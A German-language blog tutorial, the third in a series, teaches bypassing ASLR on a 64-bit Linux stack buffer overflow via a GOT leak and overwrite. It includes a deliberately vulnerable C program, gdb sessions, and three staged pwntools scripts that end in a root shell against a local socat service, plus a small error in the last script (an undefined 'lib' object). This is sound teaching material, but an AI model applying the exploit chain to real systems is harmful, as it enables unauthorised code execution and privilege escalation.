Buffer Overflow im 64-Bit Stack - Teil 3

Buffer Overflow im 64-Bit Stack - Teil 3

In Teil 2 haben wir den String /bin/zsh an die Funktion System() gesendet, um eine root Shell zu öffen. Hierzu mussten wir aber ASLR deaktivieren- ASLR verändert Funktionsadressen bei jedem Programmneustart. Superkojiman beschreibt in seinem Blog ausführlich, wie man diesen Schutz dennoch umgehen kann. Hierzu müssen wir uns aber erstmal ein paar Dinge veranschaulichen

Einleitung

Theorie

In Linux Systemen verwendet man üblicherweise dynamische Programmbibliotheken. Dies hat den Vorteil, dass wir nicht jede Funktion in jedem Programm neuschreiben müssen, sondern einfach auf die Funktion des Systems zugreifen können, welche z.B. in libc liegt. Ist ASLR nun aktiviert, werden die Adressen bei jedem Programmstart verändert.

PLT und GOT

PLT (Procedure Linkage Table) und GOT (Global Offset Table) übernehmen hierbei das Zusammenspiel beim dynamischen Linking. Die Funktion write() zeigt beim Aufruf nicht auf die eigentliche Funktion, sondern auf write@plt. Von der PLT wird dann der GOT Eintrag für die Funktion angefordert.

In der GOT liegen nun alle libc Adressen und PLT leitet die Ausführung an diese um. Ist die Adresse noch nicht vorhanden, sucht ld.so nach dieser und speichert sie in der GOT. Dieses Prinzip können wir uns nun zu Nutze machen.1)

Leak and Overwrite

Um an unsere root Shell zu kommen, müssen wir nun folgendes machen:

  1. Wir leaken den GOT Eintrag für die Funktion write()
  2. Wir brauchen die Basis-Adresse für libc, um die Adressen anderer Funktionen berechnen zu können. Die libc-Basis-Adresse ist die Differenz zwischen der Adresse von memset() und dem write()-Offset aus libc.so.6
  3. Die Adresse einer Library-Funktion erhalten wir, indem wir den jeweiligen libc.so.6Offset mit der libc-Basis-Adresse addieren
  4. In der GOT überschreiben wir eine Adresse mit der von system(), so dass wir beim Aufruf der Funktion einen Systembefehl absetzen können
[-------------------------------------code-------------------------------------]
   0x4011de <vuln+109>: lea    rax,[rbp-0xa0]
   0x4011e5 <vuln+116>: mov    rsi,rax
   0x4011e8 <vuln+119>: mov    edi,0x1
=> 0x4011ed <vuln+124>: call   0x401030 <write@plt>
   0x4011f2 <vuln+129>: mov    eax,0x0
   0x4011f7 <vuln+134>: leave



Abhängigkeiten

python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools



C Programm

Der Quellcode und die kompilierte Binary sind auch auf Github verfügbar.

bof-part3.c
/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */
/* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3          */
/* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */
 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
 
void helper() {
    asm("pop %rdi; pop %rsi; pop %rdx; ret");
}
 
int vuln() {
    char buf[150];
    ssize_t b;
    memset(buf, 0, 150);
    printf("Enter input: ");
    b = read(0, buf, 400);
 
    printf("Recv: ");
    write(1, buf, b);
    return 0;
}
 
int main(int argc, char *argv[]){
    setbuf(stdout, 0);
    vuln();
    return 0;
}



Debug

Achtung!

Die Techniken und Methoden in diesem Artikel sind ausschließlich für Lernzwecke. Ein Missbrauch ist strafbar!3)

socat Listener starten

Das mitgelieferte socat besitzt Mechanismen zum Schutz des Speichers. Im Abschnitt Abhängigkeiten gibt es eine modifizierte Version auf Github.

/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3



GOT Adresse von write

Wir prüfen, wo der Pfad zur libc ist:

ldd bof-part3
        linux-vdso.so.1 (0x00007ffe5d956000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)

Anschließend finden wir das Offset für write() heraus:

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write 
  2839: 00000000000f7af0   157 FUNC    WEAK   DEFAULT   16 write@@GLIBC_2.2.5



Breakpoint für write

Wir müssen nun heraus finden, an welcher Stelle write() aufgerufen wird.

   0x4011e8 <vuln+119>: mov    edi,0x1
=> 0x4011ed <vuln+124>: call   0x401030 <write@plt>
   0x4011f2 <vuln+129>: mov    eax,0x0

Der Aufruf geschieht bei 0x4011ed und wir setzen hier unseren Haltepunkt.

echo "br *0x4011ed" >> ~/.gdbinit



gdb an socat anhängen

gdb -q -p `pidof socat`
Breakpoint 1 at 0x4011ed
Attaching to process 111187



Verbindung mit Port 2323

Wir verbinden uns mit nc und triggern den Haltepunkt.

nc localhost 2323
Enter input: 123
Recv: 123



Suche nach write GOT

Ist unser Haltepunkt erreicht, suchen wir nach der write GOT Adresse

gdb-peda$ x/gx 0x404000
0x404000 <write@got.plt>:       0x0000000000401036
gdb-peda$ x/5i 0x0000000000401036
   0x401036 <write@plt+6>:      push   0x0
   0x40103b <write@plt+11>:     jmp    0x401020
   0x401040 <setbuf@plt>:       jmp    QWORD PTR [rip+0x2fc2]        # 0x404008 <setbuf@got.plt>
   0x401046 <setbuf@plt+6>:     push   0x1
   0x40104b <setbuf@plt+11>:    jmp    0x401020

Wir gehen einen Schritt weiter, ohne in die Funktion reinzuspringen. Anschließend suchen wir erneut.

next
gdb-peda$ x/gx 0x404000
0x404000 <write@got.plt>:       0x00007f559dd76af0
gdb-peda$ x/5i 0x00007f559dd76af0
   0x7f559dd76af0 <__GI___libc_write>:  cmp    BYTE PTR [rip+0xe3ae1],0x0        # 0x7f559de5a5d8 <__libc_single_threaded>
   0x7f559dd76af7 <__GI___libc_write+7>:        je     0x7f559dd76b10 <__GI___libc_write+32>
   0x7f559dd76af9 <__GI___libc_write+9>:        mov    eax,0x1
   0x7f559dd76afe <__GI___libc_write+14>:       syscall
   0x7f559dd76b00 <__GI___libc_write+16>:       cmp    rax,0xfffffffffffff000

An diesem Punkt zeigt die Adresse auf write()

Exploit

Stage 1: write Adresse

Also schreiben wir uns ein erstes Exploit, um write() zu leaken.

buf3-stage1.py
#!/usr/bin/env python
 
from pwn import *
 
pop3ret    = 0x40116a                # Unser pop rdi; pop rsi; pop rdx; ret; gadget
bin=ELF("./bof-part3")
 
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
 
buf = b"A"*168                        # RIP Offset
buf += p64(pop3ret)                   # POP Argumente
buf += p64(constants.STDOUT_FILENO)   # stdout
buf += p64(bin.got[b'write'])         # lese von write@got
buf += p64(0x8)                       # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
buf += b'EOPAY'                       # Ende des Payloads
 
 
print("[+] send payload")
s.send(buf)                           # buf überschreibt RIP
s.recvuntil(b'EOPAY')                 # Empfange Daten bis EOPAY
print("[+] recvd \'EOPAY\'")
 
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))

Wir führen das Ganze aus und erhalten folgende Ausgabe

[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f6805548e80
[*] Closed connection to 127.0.0.1 port 2323

Damit wäre die erste Adresse geleakt.

Stage 2 - libc Base und system

Nun benötigen wir die libc-Basis Adresse und die von system(). Diese berechnen wir so:

  • $base(libc) = got(write) - offset(write)$
  • $address(system) = base(libc) + offset(system)$

Die Offset Adresse erhalten wir so:

┌──(kali㉿kali)-[~/repo]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  1022: 000000000004c920    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5

Wir überarbeiten also unser Exploit:

buf3-stage2.py
#!/usr/bin/env python
from pwn import *
 
pop3ret    = 0x40116a                # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget
write_off  = 0x0f7af0
system_off = 0x04c920
bin=ELF("./bof-part3")
 
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
 
buf = b"A"*168                        # RIP offset
buf += p64(pop3ret)                   # POP Argumente
buf += p64(constants.STDOUT_FILENO)   # stdout
buf += p64(bin.got[b'write'])         # lese von write@got
buf += p64(0x8)                       # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
buf += b'EOPAY'                       # Ende des Payloads
 
print("[+] send payload")
s.send(buf)           
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
 
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
 
libc_base = got_leak - write_off     # Berechne libc Basis
print("[+] libc base is at", hex(libc_base) )
 
system_addr = libc_base + system_off # Berechne system Adresse
 
print("[+] system() is at", hex(system_addr) )

Und nun schauen wir uns die Ausgabe an:

[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f73dc1c7e80
[+] libc base is at 0x7f73dc12c340
[+] system() is at 0x7f73dc178c60
[*] Closed connection to 127.0.0.1 port 2323



Stage 3 - Adresse überschreiben und Code ausführen

Für den letzten Abschnitt benötigen wir einen beschreibbaren Speicherbereich. Hierzu listen wir uns die Speicherzuweisungen in gdb auf.

gdb-peda$ info proc mappings
process 105836
Mapped address spaces:
 
          Start Addr           End Addr       Size     Offset  Perms  objfile
            0x400000           0x401000     0x1000        0x0  r--p   /home/kali/repo/bof-part3
            0x401000           0x402000     0x1000     0x1000  r-xp   /home/kali/repo/bof-part3
            0x402000           0x403000     0x1000     0x2000  r--p   /home/kali/repo/bof-part3
            0x403000           0x404000     0x1000     0x2000  r--p   /home/kali/repo/bof-part3
            0x404000           0x405000     0x1000     0x3000  rw-p   /home/kali/repo/bof-part3
      0x7f0f6fb35000     0x7f0f6fb38000     0x3000        0x0  rw-p 

Der Bereich 0x404000 - 0x405000 ist beschreibbar und statisch. Das sehen wir uns genauer an.

gdb-peda$ x/30i 0x404000
...
   0x404027 <read@got.plt+7>:   add    BYTE PTR [rax],al
   0x404029:    add    BYTE PTR [rax],al
   0x40402b:    add    BYTE PTR [rax],al
...

0x404029 sollte für unseren Zweck perfekt sein.

buf3-stage3.py
#!/usr/bin/env python
 
from pwn import *
 
pop3ret    = 0x40116a                 # Unser pop rdi; pop rsi; pop rdx; ret; gadget
write_off  = 0x0f7af0
system_off = 0x04c920
writable   = 0x404029
bin=ELF("./bof-part3")
 
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
 
buf = b"A"*168                        # padding to RIP's offset
buf += p64(pop3ret)                   # POP Argumente
buf += p64(constants.STDOUT_FILENO)   # stdout
buf += p64(bin.got[b'write'])         # lese von write@got
buf += p64(0x8)                       # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write'])         # Rückkehr nach write@plt
 
# Teil 2: schreibe system Adresse in write got mittels read
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(bin.got[b'write'])          #write@got
buf+=p64(0x8)
buf+=p64(bin.plt[b'read'])           #read@plt
 
# Teil 3: schreibe /bin/sh in beschreibbare Adresse
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(writable)
buf+=p64(0x8)
buf+=p64(bin.plt[b'read'])
 
# Teil 4: rufe system auf
buf+=p64(pop3ret)
buf+=p64(writable)
buf+=p64(0xdeadbeef)
buf+=p64(0xcafebabe)
buf+=p64(bin.plt[b'write'])
 
buf += b'EOPAY'
 
 
print("[+] send payload")
s.send(buf)                           # buf überschreibt RIP
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
 
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
 
#s2
 
libc_base=got_leak-write_off
print(hex(lib.symbols[b'write']))
print("[+] libc base is at {}".format(hex(libc_base)))
 
system_addr=libc_base+system_off
print(hex(lib.symbols[b'system']))
print("[+] system() is at {}".format(hex(system_addr)))
 
#part 2
print("[+] sending system() address")
s.send(p64(system_addr))
#part 3
print("[+] sending /bin/zsh")
s.send(b'/bin/zsh')
#part 4
print("[+] trying shell")
s.interactive()



Optimierungen

Das Exploit mit weiteren pwntools Optimierungen und automatisiertem socat Start ist im Github Repository zu finden. Das Exploit wurde ursprünglich von Zopho Oxx geschrieben 4)

root Shell

Wir starten socat und bof-part3 als root

su root
 
┌──(root㉿kali)-[/home/kali/repo]
└─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3

und anschließend das Exploit als unpriviligierter Nutzer

┌──(kali㉿kali)-[~/repo]
└─$ python3 buffer3.py

Wir erhalten unsere Root Shell und haben die Kontrolle über das System.



Repository

Projektdateien nosoc-repo-bof-part3.zip ZIP
Größe 9,93 KB
Prüfsumme (SHA256) d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8

Referenzen

Diskussion

Geben Sie Ihren Kommentar ein:
118 +11 = 
 
it-security/blog/buffer_overflow_x64-3.txt · Zuletzt geändert: 2024/09/02 08:41
CC Attribution-Noncommercial-Share Alike 4.0 International